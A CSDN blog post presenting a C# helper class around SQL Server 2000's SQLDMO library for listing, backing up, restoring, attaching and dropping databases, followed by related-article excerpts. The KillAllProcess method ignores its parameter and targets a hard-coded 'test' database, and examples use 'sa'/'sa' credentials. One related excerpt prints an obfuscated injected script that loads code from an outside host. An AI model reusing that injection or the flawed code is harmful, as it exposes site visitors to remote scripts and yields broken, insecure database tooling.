SQL Server分布式管理对象 SQLDMO

最新推荐文章于 2024-07-22 15:12:37 发布
最新推荐文章于 2024-07-22 15:12:37 发布
阅读量431 收藏
点赞数
文章标签： sql server string sqlserver database 数据库 exception
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xiangyanpp/article/details/2256430
版权

封装SQLDMO操作的类，能完成常用的SQL Server 2000管理工作。
使用前请添加 "Microsoft SQLDMO Object Library" COM 引用。


using System;
using System.Collections;
using System.Runtime.InteropServices;
using System.IO;
using SQLDMO;

namespace Rainsoft.Data
{
   /// <summary>
   /// SQLDMO辅助类
   /// </summary>
   /// <remarks>
   /// 使用前添加 "Microsoft SQLDMO Object Library" COM 引用。
   /// </remarks>
   public class SqlDmoHelper
   {
     #region DatabaseInfo

     /// <summary>
     /// 数据库信息
     /// </summary>
     public struct DatabaseInfo
     {
       public string Name;
       public string Owner;
       public string PrimaryFilePath;
       public string CreateDate;
       public int Size;
       public float SpaceAvailable;
       public string PrimaryName;
       public string PrimaryFilename;
       public int PrimarySize;
       public int PrimaryMaxSize;
       public string LogName;
       public string LogFilename;
       public int LogSize;
       public int LogMaxSize;

       public override string ToString()
       {
         string s = "Name:{0}/r/n" +
           "Owner:{1}/r/n" +
           "PrimaryFilePath:{2}/r/n" +
           "CreateDate:{3}/r/n" +
           "Size:{4}MB/r/n" +
           "SpaceAvailable:{5}MB/r/n" +
           "PrimaryName:{6}/r/n" +
           "PrimaryFilename:{7}/r/n" +
           "PrimarySize:{8}MB/r/n" +
           "PrimaryMaxSize:{9}MB/r/n" +
           "LogName:{10}/r/n" +
           "LogFilename:{11}/r/n" +
           "LogSize:{12}MB/r/n" +
           "LogMaxSize:{13}MB";

         return string.Format(s, Name, Owner, PrimaryFilePath,

CreateDate, Size,
           SpaceAvailable, PrimaryName, PrimaryFilename, PrimarySize,
           PrimaryMaxSize, LogName, LogFilename, LogSize, LogMaxSize);
       }
     }

     #endregion

     private SQLServer2 sqlServer;
     private string server;
     private string login;
     private string password;

     public SqlDmoHelper(string server, string login, string password)
     {
       this.server = server;
       this.login = login;
       this.password = password;

       sqlServer = new SQLServer2Class();
       sqlServer.Connect(server, login, password);
     }

     public void Close()
     {
       sqlServer.Close();
     }

     #region Property

     /// <summary>
     /// 获取主要版本号
     /// </summary>
     public string Version
     {
       get
       {
         return string.Format("{0}.{1}", sqlServer.VersionMajor,

sqlServer.VersionMinor);
       }
     }

     /// <summary>
     /// 获取详细版本信息
     /// </summary>
     public string VersionString
     {
       get
       {
         return sqlServer.VersionString;
       }
     }

     /// <summary>
     /// 获取服务器时间
     /// </summary>
     public string ServerTime
     {
       get
       {
         return sqlServer.ServerTime;
       }
     }

     /// <summary>
     /// 获取系统服务名称
     /// </summary>
     public string ServiceName
     {
       get
       {
         return sqlServer.ServiceName;
       }
     }

     /// <summary>
     /// 获取或设置系统服务是否自动启动
     /// </summary>
     public bool AutostartServer
     {
       get
       {
         return sqlServer.Registry.AutostartServer;
       }
       set
       {
         sqlServer.Registry.AutostartServer = value;
       }
     }

     /// <summary>
     /// 获取字符集设置
     /// </summary>
     public string CharacterSet
     {
       get
       {
         return sqlServer.Registry.CharacterSet;
       }
     }

     /// <summary>
     /// 获取服务器物理内存大小(MB)
     /// </summary>
     public int PhysicalMemory
     {
       get
       {
         return sqlServer.Registry.PhysicalMemory;
       }
     }

     /// <summary>
     /// 获取服务器处理器(CPU)数量
     /// </summary>
     public int NumberOfProcessors
     {
       get
       {
         return sqlServer.Registry.NumberOfProcessors;
       }
     }

     #endregion

     #region Public Method

     /// <summary>
     /// 获取网络内所有可用的服务器
     /// </summary>
     /// <returns></returns>
     public static string[] ListAvailableSQLServers()
     {
       NameList servers = new ApplicationClass

().ListAvailableSQLServers();
       if (servers.Count <= 0) return new string[0];

       ArrayList list = new ArrayList(servers.Count);
       foreach (object o in servers) list.Add(o);
       return (string[])list.ToArray(typeof(string));
     }

     /// <summary>
     /// 断开数据库所有连接
     /// </summary>
     /// <param name="dbName"></param>
     public void KillAllProcess(string dbName)
     {
       QueryResults qr = sqlServer.EnumProcesses(-1) ;
     
       // 获取SPID和DBNAME字段列序号
       int iColPIDNum = -1 ;
       int iColDbName = -1 ;
       for(int i = 1; i <= qr.Columns; i++)
       {
         string strName = qr.get_ColumnName(i) ;
       
         if (strName.ToUpper().Trim() == "SPID")
           iColPIDNum = i ;
         else if (strName.ToUpper().Trim() == "DBNAME")
           iColDbName = i ;

         if (iColPIDNum != -1 && iColDbName != -1)
           break ;
       }
     
       // 将指定数据库的连接全部断开
       for(int i = 1; i <= qr.Rows; i++)
       {
         int lPID = qr.GetColumnLong(i,iColPIDNum);
         string strDBName = qr.GetColumnString(i, iColDbName);

         if (string.Compare(strDBName, "test", true) == 0)
           sqlServer.KillProcess(lPID);
       }
     }

     /// <summary>
     /// 获取数据库信息
     /// </summary>
     /// <param name="dbName"></param>
     /// <returns></returns>
     public DatabaseInfo GetDatabaseInfo(string dbName)
     {
       Database db = GetDatabase(dbName);
       if (db == null) throw new Exception("Database not exists!");

       DatabaseInfo info = new DatabaseInfo();

       info.Name = db.Name;
       info.Owner = db.Owner;
       info.PrimaryFilePath = db.PrimaryFilePath;
       info.CreateDate = db.CreateDate;
       info.Size = db.Size;
       info.SpaceAvailable = db.SpaceAvailableInMB;
       
       DBFile primary = db.FileGroups.Item("PRIMARY").DBFiles.Item(1);
       info.PrimaryName = primary.Name;
       info.PrimaryFilename = primary.PhysicalName.Trim();
       info.PrimarySize = primary.Size;
       info.PrimaryMaxSize = primary.MaximumSize;

       _LogFile log = db.TransactionLog.LogFiles.Item(1);
       info.LogName = log.Name;
       info.LogFilename = log.PhysicalName.Trim();
       info.LogSize = log.Size;
       info.LogMaxSize = log.MaximumSize;

       return info;
     }

     /// <summary>
     /// 分离数据库
     /// </summary>
     /// <param name="dbName"></param>
     /// <remarks>
     /// 分离前最好调用KillAllProcess关闭所有连接，否则分离可能失败。
     /// </remarks>
     public void DetachDB(string dbName)
     {
       sqlServer.DetachDB(dbName, true);
     }

     /// <summary>
     /// 附加数据库
     /// </summary>
     /// <param name="dbName"></param>
     /// <param name="dbFile"></param>
     /// <example>
     /// <code>
     /// SqlDmoHelper dmo = new SqlDmoHelper("(local)", "sa", "sa");
     /// dmo.AttachDB("test", @"d:/temp/database/test_data.mdf");
     /// </code>
     /// </example>
     public void AttachDB(string dbName, string dbFile)
     {
       sqlServer.AttachDB(dbName, dbFile);
     }

     /// <summary>
     /// 删除数据库(文件也将被删除)
     /// </summary>
     /// <param name="dbName"></param>
     public void KillDB(string dbName)
     {
       sqlServer.KillDatabase(dbName);
     }

     /// <summary>
     /// 创建数据库
     /// </summary>
     /// <param name="dbName">数据库名称</param>
     /// <param name="path">数据文件保存路径</param>
     /// <param name="primaryFilename">数据库文件名(不含路径)</param>
     /// <param name="logFilename">日志文件名(不含路径)</param>
     /// <example>
     /// <code>
     /// SqlDmoHelper dmo = new SqlDmoHelper("(local)", "sa", "sa");
     /// dmo.CreateDB("test1", @"d:/temp/database", "abc.mdf",

"abc1.ldf");
     /// </code>
     /// </example>
     public void CreateDB(string dbName, string path, string

primaryFilename, string logFilename)
     {
       // 创建数据库文件
       DBFile dbFile = new DBFileClass();
       dbFile.Name = dbName + "_Data";
       dbFile.PhysicalName = Path.Combine(path, primaryFilename);
       dbFile.PrimaryFile = true;
       //dbFile.Size = 2; // 设置初始化大小(MB)
       //dbFile.FileGrowthType = SQLDMO_GROWTH_TYPE.SQLDMOGrowth_MB; //

设置文件增长方式
       //dbFile.FileGrowth=1; // 设置增长幅度

       // 创建日志文件
       _LogFile logFile = new LogFileClass();
       logFile.Name = dbName + "_Log";
       logFile.PhysicalName = Path.Combine(path, logFilename);
       //logFile.Size = 3;
       //logFile.FileGrowthType=SQLDMO_GROWTH_TYPE.SQLDMOGrowth_MB;
       //logFile.FileGrowth=1;

       // 创建数据库
       Database db = new DatabaseClass();
       db.Name = dbName;
       db.FileGroups.Item("PRIMARY").DBFiles.Add(dbFile);
       db.TransactionLog.LogFiles.Add(logFile);

       // 建立数据库联接，并添加数据库到服务器
       sqlServer.Databases.Add(db);
     }

     /// <summary>
     /// 备份数据库
     /// </summary>
     /// <param name="dbName"></param>
     /// <param name="bakFile"></param>
     /// <param name="bakSetName"></param>
     /// <param name="bakDescription"></param>
     /// <example>
     /// <code>
     /// SqlDmoHelper dmo = new SqlDmoHelper("(local)", "sa", "sa");
     /// dmo.BackupDB("test", @"d:/temp/database/test.bak", "手动备份

1", "备份说明...");
     /// </code>
     /// </example>
     public void BackupDB(string dbName, string bakFile, string

bakSetName, string bakDescription)
     {
       Backup oBackup = new BackupClass();
       oBackup.Action = SQLDMO_BACKUP_TYPE.SQLDMOBackup_Database;
       oBackup.Database = dbName;
       oBackup.Files = bakFile;
       oBackup.BackupSetName = bakSetName;
       oBackup.BackupSetDescription = bakDescription;
       oBackup.Initialize = true;
       oBackup.SQLBackup(sqlServer);
     }

     /// <summary>
     /// 恢复数据库
     /// </summary>
     /// <param name="dbName"></param>
     /// <param name="bakFile"></param>
     /// <remarks>
     /// 恢复前最好调用KillAllProcess关闭所有连接，否则恢复可能失败。
     /// </remarks>
     /// <example>
     /// <code>
     /// SqlDmoHelper dmo = new SqlDmoHelper("(local)", "sa", "sa");
     /// dmo.RestoreDB("test", @"d:/temp/database/test.bak");
     /// </code>
     /// </example>
     public void RestoreDB(string dbName, string bakFile)
     {
       Restore oRestore = new RestoreClass();
       oRestore.Action = SQLDMO_RESTORE_TYPE.SQLDMORestore_Database;
       oRestore.Database = dbName;
       oRestore.Files = bakFile;
       oRestore.FileNumber = 1;
       oRestore.ReplaceDatabase = true;
       oRestore.SQLRestore(sqlServer);
     }

     /// <summary>
     /// 收缩数据库
     /// </summary>
     /// <param name="dbName"></param>
     public void ShrinkDB(string dbName)
     {
       Database db = GetDatabase(dbName);
       if (db == null) throw new Exception("Database not exists!");

       db.Shrink(0, SQLDMO_SHRINK_TYPE.SQLDMOShrink_Default);
     }

     /// <summary>
     /// 获取所有的数据库名
     /// </summary>
     /// <returns></returns>
     public string[] ListAllDatabase()
     {
       ArrayList list = new ArrayList();
       foreach(Database d in sqlServer.Databases)
       {
         list.Add(d.Name);
       }

       if (list.Count == 0)
         return new string[0];
       else
         return (string[])list.ToArray(typeof(string));
     }

     /// <summary>
     /// 获取所有登录名
     /// </summary>
     /// <returns></returns>
     /// <remarks>
     /// 管理工具 "安全性->登录"
     /// </remarks>
     public string[] ListAllLogins()
     {
       ArrayList list = new ArrayList();
       foreach(Login d in sqlServer.Logins)
       {
         list.Add(d.Name);
       }

       if (list.Count == 0)
         return new string[0];
       else
         return (string[])list.ToArray(typeof(string));
     }

     /// <summary>
     /// 获取全部数据表名称
     /// </summary>
     /// <param name="dbName"></param>
     /// <returns></returns>
     public string[] ListAllTables(string dbName)
     {
       Database db = GetDatabase(dbName);
       if (db == null) throw new Exception("Database not exists!");

       ArrayList list = new ArrayList();
       foreach(Table t in db.Tables)
       {
         list.Add(t.Name);
       }

       if (list.Count == 0)
         return new string[0];
       else
         return (string[])list.ToArray(typeof(string));
     }

     /// <summary>
     /// 获取全部存储过程名称
     /// </summary>
     /// <param name="dbName"></param>
     /// <returns></returns>
     public string[] ListAllStoredProcedure(string dbName)
     {
       Database db = GetDatabase(dbName);
       if (db == null) throw new Exception("Database not exists!");

       ArrayList list = new ArrayList();
       foreach(StoredProcedure sp in db.StoredProcedures)
       {
         list.Add(sp.Name);
       }

       if (list.Count == 0)
         return new string[0];
       else
         return (string[])list.ToArray(typeof(string));
     }

     /// <summary>
     /// 获取数据库对象
     /// </summary>
     /// <param name="dbName"></param>
     /// <returns></returns>
     /// <remarks>
     /// 可以通过数据库对象获取数据库内表、存储过程、触发器、数据类型等

信息。
     /// </remarks>
     /// <example>
     /// 显示数据库中所有表及其结构
     /// <code>
     /// SqlDmoHelper dmo = new SqlDmoHelper("(local)", "sa", "sa");
     /// SQLDMO.Database db = dmo.GetDatabase("test");
     /// foreach(SQLDMO.Table t in db.Tables)
     /// {
     ///     Console.WriteLine("Table:{0}", t.Name);
     ///     for (int i = 1; i &lt;= t.Columns.Count; i++) // SQLDMO所

有索引序号从1开始
     ///     {
     ///       SQLDMO._Column col = t.Columns.Item(i);
     ///       Console.WriteLine(" Column:{0} DataType:{1}", col.Name,

col.Datatype);
     ///     }
     ///
     ///     Console.WriteLine("---------------");
     /// }
     /// </code>
     /// </example>
     public Database GetDatabase(string dbName)
     {
       foreach(Database d in sqlServer.Databases)
       {
         if (string.Compare(d.Name, dbName, true) == 0)
           return d;
       }

       return null;
     }

     #endregion
   }
}

 

xiangyanpp
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL Server 2008 安装SQLDMO.dll的方法
09-10
SQLDMO.dll（SQL Distributed Management Objects）是一个用于管理SQL Server实例的库文件，它允许开发者通过编程接口来执行各种管理任务，如在线备份、还原数据库等操作。在ASP.NET应用中，SQLDMO.dll尤其有用，...
SQLDMO类的使用
整理的参考资料
12-19 1791
SQLDMO（SQL Distributed Management Objects，SQL分布式管理对象）封装 Microsoft SQL Server 2000 数据库中的对象。SQL-DMO 允许用支持自动化或 COM 的语言编写应用程序，以管理 SQL Server 安装的所有部分。SQL-DMO 是 SQL Server 2000 中的 SQL Server 企业管理器所使用的应用程序接口
如何通过 SQLDMO 组件枚举可用的 SQLServer 实例
weixin_34260991的博客
05-08 109
  概要 通过使用 SQL Server 分布式管理对象 (SQLDMO), 可列出本地网段上所有运行 SQL 服务器。 更多信息 请按照步骤来枚举, 本地网段上所有可用 SQL 服务器。 使用 VisualBasic 1. 启动新标准 EXE 工程。 2. 在 项目 菜单, 单击 引用 。 选择 Microsoft SQLDMO 对象库 , 并单击 确定 ...
在SQL Server 中使用SQLDMO
《CSDN社区电子杂志——MS-SQL Server杂志》官方blog
02-01 2713
 曾几何时,伙伴们为数据库的升级伤透了脑筋.往往程序的升级赶不上数据库的升级(版本控制的好,这也许不是什么问题,但对于很大一部分中国公司来说这是无法避免的).而有些n久以前的数据库要使用新程序的时候,数据库的升级简直就是无从下手.所以对比数据库升级的紧要性就逐渐的凸现出来.对于表和字段的升级按道理来说是不难的,通过sysobjects与syscolumns的比较很容易的可以找到不同之处,然后增
用SQL语句从AD中读取用户相关属性 从AD中读取用户的相关属性
叮咚侠的博客
04-28 2732
参考原文链接：http://www.myexception.cn/sql-server/1011477.html EXEC sp_addlinkedserver 'ADSI', 'Active Directory Services 2.5', 'ADSDSOObject', 'adsdatasource' EXEC sp_configure 'show advanced o
C#中使用SQL Server分布式管理对象（SQL-DMO）
NewMap的专栏
02-10 898
转自 http://dotnet.aspx.cc/article/bceaadfb-cff3-4804-b3b3-6c7d6488982b/read.aspx 我们曾经在以前的应用中多次需要得到SQL Server的详细信息，过去，我们必须使用API和效率低下的ADO的 调用才能得到，现在，我们有了一个新的方法，就是SQLDMO（SQL Distributed Manag
C#中使用SQL Server分布式管理对象（SQ
10-21 239
 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);
用SQL分布式管理对象创建数据库备份
03-04
SQL 分布式管理对象（SQL Distributed Management Objects, SQL-DMO）是 Microsoft SQL Server 提供的一种编程接口，允许开发人员使用脚本语言或程序代码执行常见的数据库管理任务，从而增强 SQL Server 的功能。...
SQLDMO.rar_SQLDMO_sql企业管理器
09-22
SQLDMO，全称为SQL Server Desktop Management Objects，是微软在SQL Server早期版本中提供的一套对象模型库。这个库主要用于程序开发，允许开发者通过编写代码来实现对SQL Server实例的各种管理任务，包括但不限于...
易语言SQLDMO.SQLServer对象操作数据库源码
06-01
SQLDMO是SQL Server的一个组件，它允许开发者通过编程方式访问和管理SQL Server的各种对象，如服务器、数据库、表、视图等。它包含了一系列的对象和方法，可以用来创建、修改和删除数据库对象，执行查询，以及进行...
SqlServer 多服务器管理（MSSQL分布式作业管理）
09-09 9476
范围的多个实例的自动化管理 SQL Server 称为 多服务器管理。 使用多服务器管理可以执行下列操作： 管理两台或多台服务器。 在企业服务器之间安排数据仓库的信息流。 若要利用多服务器管理，您必须至少有一台主服务器且至少有一台目标服务器。 主服务器将作业分发到目标服务器并从它那里接收事件。 主服务器还存储在目标服务器上运行的作业的作业定义的中央副本。 目标服务器定期连接到主服
利用SQLDMO生成对象脚本
lzhs的专栏
11-24 1027
前段时间公司要开始对数据库的对象进行版本控制，因此经常需要将数据库里的SP、Table的脚本导出到以对象名命名的文件里，如果通过企业管理器来做的话，光是找到这些SP就够麻烦的了，导出来的文件名还不是标准格式，非常的麻烦。因此就想到用SQLDMO来写一个脚本，来实现上面的功能。脚本代码如下：Option ExplicitDim dmoServerDim dmoDBDim dmoS
常用的文件系统、存储类型小整理
Hehuyi_In的博客
02-07 3335
最近接触到了五花八门的文件系统、存储类型，名词听得头大，趁假期整理学习一番~
基于JSP的高校信息资源共享平台
最新发布
heye0910032的博客
07-22 692
高校信息资源共享平台的开发和实现，为高校信息资源的管理和共享提供了一个有效的解决方案。通过使用JSP技术和MySQL数据库，本系统实现了一个稳定、安全、易用的高校信息资源管理平台。虽然在开发过程中遇到了一些技术挑战，但通过不断学习和实践，最终完成了一个能够满足用户需求的系统。未来，我们将继续优化系统功能，提升用户体验，以期达到更高的应用价值和社会效益。高校信息资源共享平台的开发和实现，为高校信息资源的管理和共享提供了一个有效的解决方案。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值